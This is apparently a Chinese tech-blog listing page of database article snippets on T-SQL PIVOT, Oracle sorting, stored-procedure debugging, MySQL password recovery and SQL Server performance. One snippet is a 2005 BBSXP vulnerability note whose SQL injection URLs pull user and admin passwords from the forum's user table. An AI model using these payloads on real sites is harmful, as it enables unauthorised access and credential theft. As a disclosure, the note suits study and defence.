数据库相关

t-sql中pivot用法(行列转换)

从另一张表找的3974行是张三,8319行是李四,3051行是王五;从stu_score查id,stu_id两列,聚合求出得出张三,李四,王五在stu_score中的记录条数select[3974]as张三,[8319]as李四,[3051]as王五from(selectid,stu_idfromstu_score)asspivot(count(id)forstu_idin([3974],[8319],[3051]))aspvtT-SQLPivotSynt

系统 2019-08-12 01:52:45 2617

Oracle

ORACLE的自定义排序

普通排序SQL是这样的:SELECTNAMEFROMTABLEORDERBYNAME;这时候我们需要按照自己定义的NAME的排序规则进行排序,如按照某个字典ARRAY进行排序,就需要用个临时表来完成如建立表:C_SORT_TcreatetableC_SORT_T(SORT_IDNUMBER(10),SORT_NAMEVARCHAR2(20),SORT_SEQNUMBER(10))然后把原有的SQL联合排序表进行查询,然后用SORT_SEQ排序就可以了。如果

系统 2019-08-12 01:51:28 2617

数据库相关

SQL点滴23—T-SQL中的除法

原文:SQL点滴23—T-SQL中的除法在T-SQL中没有除法运算,但是在T-SQL中可以实现类似除法的操作Divide。一般除法操作的结果一个列来自于被除关系表,剩下的来自除关系表。这里举一个例子来说明。假设如下有三个表:客户Customers,销售人员Employees,订单Orders,查询返回一些客户,要求这些客户和所有美国雇员都至少有一次交易记录。来看下面一个语句:selectcustidfromSales.CustomersasCwhereno

系统 2019-08-12 01:33:14 2617

数据库相关

BBSXP最新漏洞 简单注入检測 万能password

BBSXP最新漏洞漏洞日期:2005年7月1日受害版本号:眼下全部BBSXP漏洞利用:查前台password注入语句:blog.asp?id=1%20union%20select%201,1,userpass,username,1,1,1%20from%20[user]%20where%20membercode=5查后台password注入语句:blog.asp?id=1%20union%20select%201,1,adminpassword,usern

系统 2019-08-12 01:53:42 2616

SqlServer

SQL Server Execpt和not in 性能区别

网上有很多except和notin的返回结果区别这里就就提了。主要讲except和notin的性能上的区别。CREATETABLEtb1(IDint)CREATETABLEtb2(IDint)BEGINTRANDECLARE@iINT=500WHILE@i>0beginINSERTINTOdbo.tb1VALUES(@i--v-int)SET@i=@i-1endCOMMIT我测试的时候tb1是1000,tb2是500DBCCFREESYSTEMCACHE(

系统 2019-08-12 01:33:59 2616

数据库相关

存储过程调试

SQLSERVER2008存储过程调试昨天被问到sqlserver中存储过程怎么调试,我曾经写存储过程,调试方法非常笨拙,就是逐条运行语句,然后查看结果是不是预期的,这样的调试方法,实在是无奈之举,极大程度地限制了开发速度和准确性。今天在他的提点下,研究了下SQLSERVER2008的存储过程调试。1.在SQLSERVER2008中调试存储过程下面内容引自MSDNSQLSERVER2008的SSMS是支持单步debug的,可是在调试之前必须配置权限。假设S

系统 2019-08-12 01:33:51 2616

MySql

mysql 循环插入记录

一,delimiter的用法告知解释器遇到delimiter后面的符号时作用相当于分号,这样可以避免在shell中写mysql脚本时,与分号发生冲突。举个栗子;输入select*fromt_tag;后就会显示结果,即,执行了该语句,但是使用delimiter后,如下图:只有遇到另外的一个//时,才会执行所写的语句。二,循环插入10个条目先上代码:delimiter//createproceduremyproc()begindeclarenumint;set

系统 2019-08-12 01:32:51 2616

数据库相关

pl/sql数据库开发综合实例

1.功能设计某高校开发的研究生招生系统,要求设计pl/sql程序对考生的成绩数据进行处理,处理的逻辑是根据每门专业课的最低分数线和总分的最低分数线自动将考生归类为录取考生,调剂考生和落选考生。为此设计两个数据表,graduate数据表存放考生成绩,resut数据表存放处理结果,pl/sql程序完成的功能就是将graduate数据表的数据逐行扫描,根据分数线进行判断,计算出各科总分,在result数据表中将标志字段自动添加上"录取"或"落选"。2.数据表设计

系统 2019-08-12 01:53:43 2615

数据库相关

Database: Normal form

refertowikipedia---1NF(firstnormalform):1.There'snotop-to-bottomorderingtotherows.2.There'snoleft-to-rightorderingtothecolumns.3.Therearenoduplicaterows.4.Everyrow-and-columnintersectioncontainsexactlyonevaluefromtheapplicabledoma

系统 2019-08-12 01:51:28 2615

数据库相关

缺省数据库描述对象的数据库访问模式

当我们去操作数据库的时候都必须构建一个组件的环境对象,似乎这种传统的操作模式这样做是必须的也没有什么问题(就如同你在传统ADO.NET方式下操作数据打开连接一下).但细想一下会发现一个问题,很多时候的应用只是针对一个数据库;既然很多时候只针对一个数据库为什么组件在设计时不提供一个缺省的操作模式呢?让数据操作上节省了构造组件访问对象这一步(当然也应该提供,因为总要面对同时操作多个数据库的时候).其实设计这种访问模式并不难,只需要在设计的时候提供一些缺省参数方

系统 2019-08-12 01:32:56 2615

MySql

mysql 忘记密码

如果你是服务器是windowsxp/2000/2003/nt都可以使用这个方法来找回丢失MYSQL超级管理员root的密码1,停止MYSQL服务,CMD打开DOS窗口,输入netstopmysql2,在CMD命令行窗口,进入MYSQL安装目录比如d:\mysql20080505\bin3,进入mysql安全模式,即当mysql起来后,不用输入密码就能进入数据库。命令为:mysqld-nt--skip-grant-tables****************

系统 2019-08-29 22:32:40 2614

MySql

安装、设置与启动MySql绿色版的方法

1、解压mysql-noinstall-5.1.30-win32.zip(下载地址http://dev.mysql.com/downloads/mysql/5.1.html)2、在F盘建立目录MySql\MySqlServer5.1\3、把解压的内容复制到F:\MySql\MySqlServer5.1\4、在F:\MySql\MySqlServer5.1\中找my-large.ini把它复制成my.ini5、在my.ini中找[mysqld],添加以下语句

系统 2019-08-12 01:55:26 2614

Oracle

oracle update的总结

在某个业务受理子系统BSS中,--客户资料表createtablecustomers(customer_idnumber(8)notnull,--客户标示city_namevarchar2(10)notnull,--所在城市customer_typechar(2)notnull,--客户类型...)createuniqueindexPK_customersoncustomers(customer_id)由于某些原因,客户所在城市这个信息并不什么准确,但是在

系统 2019-08-12 01:55:00 2614

SqlServer

SQL Server 2008性能故障排查(二)——CPU

原文:SQLServer2008性能故障排查(二)——CPU承接上一篇:SQLServer2008性能故障排查(一)——概论说明一下,CSDN的博客编辑非常不人性化,我在word里面都排好了版,贴上来就乱得不成样了。建议CSDN改进这部分。也请大家关注内容不要关注排版。同时在翻译的过程中本人也整理了一次思路,所以还似乎非常愿意翻译,虽然有点自娱自乐,但是分享给大家也是件好事CPU瓶颈:CPU瓶颈可能因为某个负载所需的硬件资源不足而引起。但是过多的CPU使用

系统 2019-08-12 01:54:51 2614